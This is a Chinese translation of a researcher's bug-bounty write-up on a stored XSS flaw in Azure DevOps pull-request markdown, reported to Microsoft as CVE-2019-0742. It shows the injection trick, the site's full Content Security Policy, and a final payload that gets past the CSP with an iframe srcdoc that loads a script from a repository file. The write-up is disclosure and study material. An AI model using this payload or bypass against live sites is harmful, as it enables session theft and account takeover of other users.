微软旗下协同平台Azure DevOps的存储型XSS漏洞(绕过CSP)
最近,微软启动了一个针对Azure DevOps的漏洞悬赏计划。在一个新的应用上找漏洞总是如此的吸引人。让我们开始吧!
我们的目标是https://dev.azure.com
,这是一个由Microsoft开发的Git的web服务器。我在其中的markdown编辑器中发现了一个XSS漏洞。
当你创建一个Git的pull请求时,可以使用markdown添加一些注释。而由于网站markdown的渲染未能转义某些字符,最后导致出现XSS漏洞。
我用大量XSS的payload不停在markdown输入框进行复制粘贴来测试,发现浏览器会把我重定向到一个奇怪的URL。我试图找出最短的payload,经过多次尝试,我发现如果我把HTML代码放在2个$
和一个%
之间,那么这个HTML代码就会神奇地出现在回应页面中,例如:
$%<img src=1>$
我尝试使用img标签的on error来触发XSS,但什么都没有发生。我在Chrome的控制台中看到了以下错误。
1?_a=overview:1 Refused to execute inline event handler because it violates the following Content Security Policy directive: "sc ript-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-JNv3ZUluxXSBwNijHMtlKg=='". Note that 'unsafe-inline' is ignored if either a hash or nonce value is present in the source list.
原来被CSP拦截了。貌似是因为unsafe-inline
的原因。
而当我使用最原始的alert函数时,CSP表示这是一个unsafe-eval
。
OK,由于dev.azure.com
本身在白名单中,所以我选择将插入代码的SRC指向一个包含payload的repo文件。
??貌似sc ript受前端框架影响也不行。看样子我需要找到彻底绕过CSP的方法,或者绕过这个前端框架。
首先,完整的CSP规则如下:
content-security-policy: default-src 'none'; font-src *.visualstudio.com *.dev.azure.com dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.microsoft.com *.sharepointonline.com; style-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com cdn.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn; connect-src *.visualstudio.com wss://*.visualstudio.com *.dev.azure.com dev.azure.com wss://*.dev.azure.com wss://dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.blob.core.windows.net; img-src http: https: blob: data:; sc ript-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-BByveBAMp0eRn6Ll29C7Lw=='; child-src * blob: tfs:; fr ame-src * blob: tfs:; media-src http: https:;
其中fr ame-src * blob: tfs:;
引起了我的注意。难道if rame可以?
最后的payload
$
<if rame srcdoc="<sc ript src='https://dev.azure.com/md5_salt/deadbeef-1337-1337-1337-1337/_apis/git/repositories/deadbeef-1337-1337-1337-1337/Items?path=%2F1.js&versionDesc riptor%5BversionOptions%5D=0&versionDesc riptor%5BversionType%5D=0&versionDesc riptor%5Bversion%5D=master&download=true&resolveLfs=true&%24format=octetStream&api-version=5.0-preview.1'></sc ript>"></if rame>
$
微软在接到我的报告后,立马处理这个漏洞,并标记为CVE-2019-0742。
感谢你的阅读!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://5alt.me/2019/02/xss-in-azure-devops/
最新评论